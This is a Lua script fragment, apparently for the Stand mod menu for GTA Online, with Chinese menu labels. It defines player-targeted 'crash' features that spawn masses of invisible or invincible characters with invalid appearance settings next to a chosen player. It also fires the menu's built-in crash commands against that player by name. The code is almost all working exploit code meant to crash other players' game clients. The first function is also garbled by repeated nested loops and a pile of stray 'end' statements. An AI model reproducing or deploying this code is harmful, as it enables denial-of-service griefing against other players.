    GTLP(zuhebk, "组合崩溃V2", {"compcrashv2"}, "切记远离", function(on_toggle)
            local math_random = math.random
            local joaat = util.joaat
            wait(100)
            local pedhash = util.joaat("s_m_y_blackops_03")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds1 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                wait(5)
                local pedhash = util.joaat("a_f_y_juggalo_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("g_m_y_ballasout_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("u_m_m_markfost")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("a_m_y_gay_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("S_M_Y_DWService_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("a_m_m_farmer_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("s_m_y_construct_01")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("a_m_y_beach_02")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("s_m_y_garbage")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("g_m_y_armgoon_02")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                local pedhash = util.joaat("u_m_y_abner")
                while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                    STREAMING.REQUEST_MODEL(pedhash)
                    wait(10)
                end
                local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
                SpawnedPeds1 = {}
                local ped_amount = math_random(7, 10)
                for i = 1, ped_amount do
                    local pedtype = 0
                    local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                    local coords = PlayerPedCoords
                    local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                    coords.x = coords.x
                    coords.y = coords.y
                    coords.z = coords.z
                    if loc1 == 1 then
                        coords.x = coords.x - math_random(1, 5)
                    else
                        coords.x = coords.x + math_random(1, 5)
                    end
                    if loc2 == 1 then
                        coords.y = coords.y - math_random(1, 5)
                    else
                        coords.y = coords.y + math_random(1, 5)
                    end
                    if loc3 == 1 then
                        coords.z = coords.z - math_random(3, 5)
                    else
                        coords.z = coords.z + math_random(3, 5)
                    end
                    if pedt == 1 then
                        pedtype = 0
                    else
                        pedtype = 3
                    end
                    SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                    TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                    ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                    wait(5)
                end
                for i = 1, ped_amount do
                    ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                    PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                    wait()
                end
                wait(50)
                for i = 1, ped_amount do
                    wait(5)
                                                end
                                            end
                                        end
                                    end
                                end
                            end
                        end
                    end
                end
            end
        end
    end
end)

GTLP(zuhebk, "组合崩溃V3", {"scompcrash"}, "切记远离", function(on_toggle)
        local math_random = math.random
        local joaat = util.joaat
        wait(100)
        local pedhash = util.joaat("player_zero")
        while not STREAMING.HAS_MODEL_LOADED(pedhash) do
            STREAMING.REQUEST_MODEL(pedhash)
            wait(10)
        end
        local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
        SpawnedPeds1 = {}
        local ped_amount = math_random(7, 10)
        for i = 1, ped_amount do
            local pedtype = 0
            local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
            local coords = PlayerPedCoords
            local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
            coords.x = coords.x
            coords.y = coords.y
            coords.z = coords.z
            if loc1 == 1 then
                coords.x = coords.x - math_random(1, 5)
            else
                coords.x = coords.x + math_random(1, 5)
            end
            if loc2 == 1 then
                coords.y = coords.y - math_random(1, 5)
            else
                coords.y = coords.y + math_random(1, 5)
            end
            if loc3 == 1 then
                coords.z = coords.z - math_random(3, 5)
            else
                coords.z = coords.z + math_random(3, 5)
            end
            if pedt == 1 then
                pedtype = 0
            else
                pedtype = 3
            end
            SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
            TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
            ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
            ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
            wait(5)
        end
        for i = 1, ped_amount do
            ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
            PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
            wait()
        end
        wait(50)
        for i = 1, ped_amount do
            wait(5)
            end
    end)

standcrash = GT(PlayerMainMenu, "Stand本体崩溃", {}, "")

        GTAC(standcrash, "优雅", {"togglecrash"}, "", function()
            menu.trigger_commands("crash" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "BDSM", {"togglechoke"}, "", function()
            menu.trigger_commands("choke" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "不雅暴露", {"toggleflashcrash"}, "", function()
            menu.trigger_commands("flashcrash" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "次世代", {"togglengcrash"}, "", function()
            menu.trigger_commands("ngcrash" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "压垮", {"togglesteamroll"}, "", function()
            menu.trigger_commands("steamroll" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "汉堡王脚下的生菜", {"togglefootlettuce"}, "", function()
            menu.trigger_commands("footlettuce" .. players.get_name(PlayerID))
            wait(1000)
        end)

        GTAC(standcrash, "车辆过失", {"toggleslaughter"}, "", function()
            menu.trigger_commands("slaughter" .. players.get_name(PlayerID))
            wait(1000)
        end)

qttacrash = menu.list(PlayerMainMenu, "其他菜单崩溃", {}, "")


GTAC(qttacrash,"回弹崩溃", {"reboundcrash"}, "", function()
    if pid ~= players.user() then
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local pos = players.get_position(PlayerID)
        local mdl = util.joaat("mp_m_freemode_01")
        local veh_mdl = util.joaat("taxi")
        util.request_model(veh_mdl)
        util.request_model(mdl)
            for i = 1, 10 do
                if not players.exists(PlayerID) then
                    return
                end
                local veh = entities.create_vehicle(veh_mdl, pos, 0)
                local jesus = entities.create_ped(2, mdl, pos, 0)
                PED.SET_PED_INTO_VEHICLE(jesus, veh, -1)
                wait(100)
                TASK.TASK_VEHICLE_HELI_PROTECT(jesus, veh, ped, 10.0, 0, 10, 0, 0)
                wait(1000)
                entities.delete_by_handle(jesus)
                entities.delete_by_handle(veh)
            end  
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(mdl)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(veh_mdl)
    util.toast("发送给 " .. players.get_name(PlayerID))
    util.log("发送给 " .. players.get_name(PlayerID))
    end
end)

GTAC(qttacrash,"樱桃崩溃", {"cheraxcrash"}, "", function()
    if pid ~= players.user() then
    menu.trigger_commands("choke" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("flashcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("choke" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("flashcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    wait()
    util.toast("发送到 " .. players.get_name(PlayerID))
    util.log("发送到 " .. players.get_name(PlayerID))
    end
end)

GTAC(qttacrash,"北域崩溃", {"northcrash"}, "", function()
    if pid ~= players.user() then
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID))
    local michael = util.joaat("player_zero")
    while not STREAMING.HAS_MODEL_LOADED(michael) do
        STREAMING.REQUEST_MODEL(michael)
        wait()
    end
    local ped = entities.create_ped(0, michael, pos, 0)
    PED.SET_PED_COMPONENT_VARIATION(ped, 0, 0, 6, 0)
    PED.SET_PED_COMPONENT_VARIATION(ped, 0, 0, 7, 0)
    wait()
    ENTITY.SET_ENTITY_COORDS(ped, pos.x, pos.y, pos.z, true, false, false, true)
    wait(500)
    entities.delete_by_handle(ped)
    util.toast("发送到 " .. players.get_name(PlayerID))
    util.log("发送到 " .. players.get_name(PlayerID))
    end
end)

